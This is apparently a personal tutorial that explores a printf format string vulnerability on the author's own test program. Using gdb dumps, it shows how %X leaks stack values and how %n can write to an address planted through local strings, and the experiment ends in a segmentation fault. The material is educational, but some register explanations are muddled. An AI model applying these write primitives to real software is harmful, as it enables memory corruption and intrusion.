A little theory
If you want to see actual trick to write at custom address jump to second part.
Lets try tweaking format string in printf()
trick.
printf("ABABABAB");
But encoding a HEX address into a format string directly was not working. WHole point is masquerading some address which would be exploited for attack into stack, but my format string "ABABABAB" ended in .rodata section and nor in Stack as we wanted to.
Breakpoint 1, __printf (format=0x555555556004 "ABABABAB") at ./stdio-common/printf.c:28
(gdb) i args
format = 0x555555556004 "ABABABAB"
When this address is looked for in process memory map
it is probably .rodata section:
Start Addr End Addr Size Offset Perms objfile
0x555555554000 0x555555555000 0x1000 0x0 r--p /home/drazen/proba/main
0x555555555000 0x555555556000 0x1000 0x1000 r-xp /home/drazen/proba/main
0x555555556000 0x555555557000 0x1000 0x2000 r--p /home/drazen/proba/main
0x555555557000 0x555555558000 0x1000 0x2000 r--p /home/drazen/proba/main
0x555555558000 0x555555559000 0x1000 0x3000 rw-p /home/drazen/proba/main
and check with readelf:
drazen@HP-ProBook-640G1:~/proba$ readelf -p .rodata main
String dump of section '.rodata':
[ 4] ABABABAB
So far OK, but weird part is when I dumped stack and expected to find ABABABAB string address in stack frame as argument passed to printf().
(gdb) i frame
Stack level 0, frame at 0x7fffffffddf0:
rip = 0x7ffff7de16f0 in __printf (./stdio-common/printf.c:28); saved rip = 0x555555555165
called by frame at 0x7fffffffde00
source language c.
Arglist at 0x7fffffffdde0, args: format=0x555555556004 "ABABABAB"
you can see return address to main() 0x555555555165, and expect to find format string address on stack at address 0x7fffffffdde0
But when we dump stack instead of format string address there is just 8 bytes of zeros where function argument should be, between __libc_start_call_main() stack frame return address and printf() stack frame return address:
(gdb) x/32gx $sp
0x7fffffffdde0: 0x0000000000000000 0x0000555555555165
0x7fffffffddf0: 0x0000000000000001 0x00007ffff7daad90
0x7fffffffde00: 0x0000000000000000 0x0000555555555149
0x7fffffffde10: 0x0000000100000000 0x00007fffffffdf08
So how is address of format string passed to prIntf()?
When we dumped registers we saw format string address in rsi register.
(gdb) i r
rax 0x7ffff7f9b868 140737353726056
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffdcf0 140737488346352
rsi 0x555555556004 93824992239624
rdi 0x7ffff7f9b780 140737353725824
Because function arguments (string address in this case) will be passed in rsi and rdi registers for purpose of speed and not in the stack we cant use format string and string arguments for this trick.
So we can just use strings created as local (automatic) variables to be put in stack, before return address in current stack frame.
Actual example
Anyway I tried this small example and it worked, printed out addresses put in local strings (created on stack). So we could use this trick to make local strings mimic addresses we want to access:

We have to print 5 random values until we reached what we wanted, our local strings!
Using hexadecimal format %x showed HEX representation of strings avro, nana, loli on stack (using %s string format would cause segmentation fault because printf() would interpret those values as addresses of strings but those "addresses" are probably not in mapped area of the process or are in protected memory area):

So now we used local variables on stack to "masquerade" as data access.
But what if we can use this to try to write on that address?
Lets change last %X format specifier to %n.
Instead of printing content of data on stack with %X, we will use this data as address of variable where printf() stores number of characters already printed.
So idea is to gain write access to custom address.
printf("ABABABAB\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%n");
Our FAKE address 0x61616161616161 represented as ASCII "aaaaaaa" ends in %rax register, and printf will write at this
address number of characters already printed (stored in r12):
(gdb) i r
rax 0x61616161616161 27410143614427489
rbx 0x555555556052 93824992239698
0x00007ffff7df7c3c <+7180>: jne 0x7ffff7df8276 <__vfprintf_internal+8774>
=> 0x00007ffff7df7c42 <+7186>: mov %r12d,(%rax)
But in our case this will use SEGV segmentation fault since address 0x61616161616161 is not mapped into process memory.
Continuing.
ABABABAB
,00007FFFFFFFDF08
,00007FFFFFFFDF18
,0000555555557DB8
,00007FFFF7F9BF10
,00007FFFF7FC9040
,0031313131313131
,0032323232323232
Program received signal SIGSEGV, Segmentation fault.
I hope this helps!